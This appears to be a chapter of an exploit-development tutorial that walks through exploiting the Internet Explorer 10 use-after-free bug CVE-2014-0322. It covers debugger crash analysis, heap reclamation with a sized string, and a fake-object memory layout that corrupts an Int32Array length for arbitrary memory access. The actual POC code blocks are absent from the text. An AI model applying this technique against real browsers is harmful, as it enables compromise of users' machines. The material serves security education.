Until now, we have depended on WinDbg for modifying the length of an Int32Array to acquire full read/write access to the space address of the IE process. It’s high time we found a UAF to complete our exploit.

I chose the UAF with code CVE-2014-0322. You can google for it if you want additional information. Here’s the POC to produce the crash:

Copy and paste that code in an HTML file and open it in IE 10. If you do this, you’ll discover that IE doesn’t crash. What’s wrong?


In the same directory as WinDbg, we can find gflags.exe, a utility which can be used to change the Global Flags of Windows. These flags influence the behavior of Windows and can be immensely helpful during debugging. We’re especially interested in two flags:

  1. HPAHeap Page Allocator
  2. USTUser mode Stack Trace

The flag HPA tells Windows to use a special version of the heap allocator that’s useful to detect UAF, buffer overflows and other kinds of bugs. It works by allocating each block in a separate set of contiguous pages (how many depends on the length of the block) so that the end of the block coincides with the end of the last page. The first page after the allocated block is marked as not present. This way, buffer overflows are easily and efficiently detectable. Moreover, when a block is deallocated, all the pages containing it are marked as not present. This makes UAF easy to detect.

Look at the following picture:

A page is 0x1000 bytes = 4 KB. If the allocated block is less than 4 KB, its size can be easily determined from its address with this simple formula:

size(addr) = 0x1000 - (addr & 0xfff)

This formula works because the block is allocated at the end of the page containing it. Have a look at the following picture:

The second flag, UST, tells Windows to save a stack trace of the current stack whenever a heap block is allocated or deallocated. This is useful to see which function and path of execution led to a particular allocation or deallocation. We’ll see an example during the analysis of the UAF bug.

Global flags can be changed either globally or on a per image file basis. We’re interested in enabling the flags HPA and UST just for iexplore.exe so we’re going to choose the latter.

Run gflags.exe, go to the tab Image File, insert the image name and select the two flags as illustrated in the following picture:


Getting the crash

Now load the POC in IE and you should get a crash. If we do the same while debugging IE in WinDbg, we’ll see which instruction generates the exception:

6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8          lea     eax,[ebp-58h]
6b900fcc 50              push    eax
6b900fcd 8bce            mov     ecx,esi
6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4
6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0
6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h
6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------
6b90100f 838e6001000004  or      dword ptr [esi+160h],4
6b901016 8bd6            mov     edx,esi
6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]
6b901023 85c0            test    eax,eax
6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008          mov     eax,dword ptr [eax+8]
6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8          lea     edi,[ebp-28h]

It looks like ESI is a dangling pointer.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57

Let’s determine the size of the (now freed) object:

0:007> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340

Of course, we’re assuming that the object size is less than 0x1000. Finally, here’s an example of stack trace available thanks to the UST flag:

0:007> !heap -p -a @esi
    address 0e12dcc0 found in
    _DPH_HEAP_ROOT @ 141000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e2d0b94:          e12d000             2000
    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7726ac29 ntdll!RtlpFreeHeap+0x0000005d
    772134a2 ntdll!RtlFreeHeap+0x00000142
    74f414ad kernel32!HeapFree+0x00000014
    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6b7455da MSHTML!CBase::SubRelease+0x0000002e
    6b774183 MSHTML!CMarkup::Release+0x0000002d
    6bb414d1 MSHTML!InjectHtmlStream+0x00000716
    6bb41567 MSHTML!HandleHTMLInjection+0x00000082
    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------
    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------
    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

This proves that ESI is indeed a dangling pointer. The names of the functions suggest that the object is deallocated while executing the assignment

this.outerHTML = this.outerHTML;

inside the function handler. This means that we should allocate the new object to replace the old one in memory right after that assignment. We already saw how UAF bugs can be exploited in the chapter exploitme5 (Heap spraying & UAF) so I won’t repeat the theory here.

What we need is to allocate an object of the same size of the deallocated object. This way, the new object will be allocated in the same portion of memory which the deallocated object occupied. We know that the object is 0x340 bytes, so we can create a null-terminated Unicode string of 0x340/2 – 1 = 0x19f = 415 wchars.

First of all, let’s pinpoint the exact point of crash:

0:007> !address @eip

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Image
Base Address:           6c4a1000
End Address:            6d0ef000
Region Size:            00c4e000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        6c4a0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x6c6c100c
More info:              !dh 0x6c4a0000

0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c

So the exception is generated at mshtml + 0x22100c. Now close WinDbg and IE, run them again, open the POC in IE and put a breakpoint on the crashing point in WinDbg:

bp mshtml + 0x22100c

Now allow the blocked content in IE and the breakpoint should be triggered right before the exception is generated. This was easy. This is not always the case. Sometimes the same piece of code is executed hundreds of times before the exception is generated.

Now we can try to allocate a new object of the right size. Let’s change the POC as follows:

Note the nice trick to create a string with 415a“!

Before opening the POC in IE, we need to disable the flags HPA and UST (UST is not a problem, but let’s disable it anyway):

Now let’s reopen the POC in IE, put a breakpoint at mshtml + 0x22100c and let’s see what happens:

Wonderful! ESI points to our object (0x61 is the code point for the character ‘a‘) and now we can take control of the execution flow. Our goal is to reach and control an instruction so that it writes 0x20 at the address 0x0c0af01b. You should know this address by heart by now!

You might be wondering why we assign a string to the className property of a DOM element. Note that we don’t just write

var str = new Array(416).join("a");

When we assign the string to elem.className, the string is copied and the copy is assigned to the property of the DOM element. It turns out that the copy of the string is allocated on the same heap where the object which was freed due to the UAF bug resided. If you try to allocate, for instance, an ArrayBuffer of 0x340 bytes, it won’t work, because the raw buffer for the ArrayBuffer will be allocated on another heap.

Controlling the execution flow

The next step is to see if we can reach a suitable instruction to write to memory at an arbitrary address starting from the crash point. Once again, we’ll use IDA. I can’t stress enough how useful IDA is.

We determined the address of the crash point to be mshtml + 0x22100c. This means that we need to disassemble the library mshtml.dll. Let’s find the path:

0:016> lmf m mshtml
start    end        module name
6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll

Now let’s open that .dll in IDA and, when asked, allow IDA to load symbols from the Microsoft server. Let’s go to ViewOpen subviewsSegments. From there we can determine the base address of mshtml:

As we can see, the base address is 0x63580000. Now close the Program Segmentation tab, press g and enter 0x63580000+0x22100c. You should find yourself at the crash location.

Let’s start with the analysis:

The value of [esi+98h] must be non 0 because our string can’t contain null wchars (they would terminate the string prematurely, being the string null-terminated). Because of this, the execution reaches the second node where [esi+1a4h] is compared with 15f90h. We can choose [esi+1a4h] = 11111h so that the third node is skipped and a crash is easily avoided, but we could also set up things so that [eax+2f0h] is writable.

Now let’s look at the function ?UpdateMarkupContentsVersion:

The picture should be clear enough. Anyway, there’s an important point to understand. We know that the Int32Array whose length we want to modify is at address 0xc0af000, but we don’t control the values at that address. We know, however, that the value at 0xc0af01c is the address of the raw buffer associated with the Int32Array. Note that we don’t know the address of the raw buffer, but we know that we can find that address at 0xc0af01c. Now we must make sure that the dword at offset 1c0h in the raw buffer is 0. Unfortunately, the raw buffer is only 0x58 bytes. Remember that we can’t allocate a bigger raw buffer because it must have the exact same size of a LargeHeapBlock. But there is an easy solution: allocate more raw buffers!

Let’s summarize our memory layout:

Object size = 0x340 = 832
offset: value
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

We need to make several changes to our html file.

First, we add the code for triggering the UAF bug and taking control of the execution flow:

Next, we must create 4 more ArrayBuffer, as we’ve already discussed:

Having added 4 more ArrayBuffers, we also need to fix the code which computes the address of the first raw buffer:

Basically, we changed int32array[0x60*N/4] into int32array[0x60*(N+4)/4] to account for the additional 4 raw buffers after the original raw buffer. Also, the last line was

buf_addr = nextPtr1 - 0x60*2

and has been changed to

buf_addr = nextPtr1 - 0x60*(2+4)

for the same reason.

I noticed that sometimes SaveToFile fails, so I decided to force the page to reload when this happens:

Here’s the full code:

As always, I snipped runcalc. You can download the full code from here: code4.

Load the page in IE using SimpleServer and everything should work just fine! This exploit is very reliable. In fact, even when IE crashes because something went wrong with the UAF bug, IE will reload the page. The user will see the crash but that’s not too serious. Anyway, the event of a crash is reasonably rare.

Internet Explorer 10 32-bit and 64-bit

There are two versions of IE 10 installed: the 32-bit and the 64-bit version. Our exploit works with both of them because while the iexplore.exe module associated with the main window is different (one is a 32-bit and the other a 64-bit executable), the iexplore.exe module associated with the tabs is the same 32-bit executable in both cases. You can verify this just by looking at the path of the two executable in the Windows Task Manager.

Prev Part

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)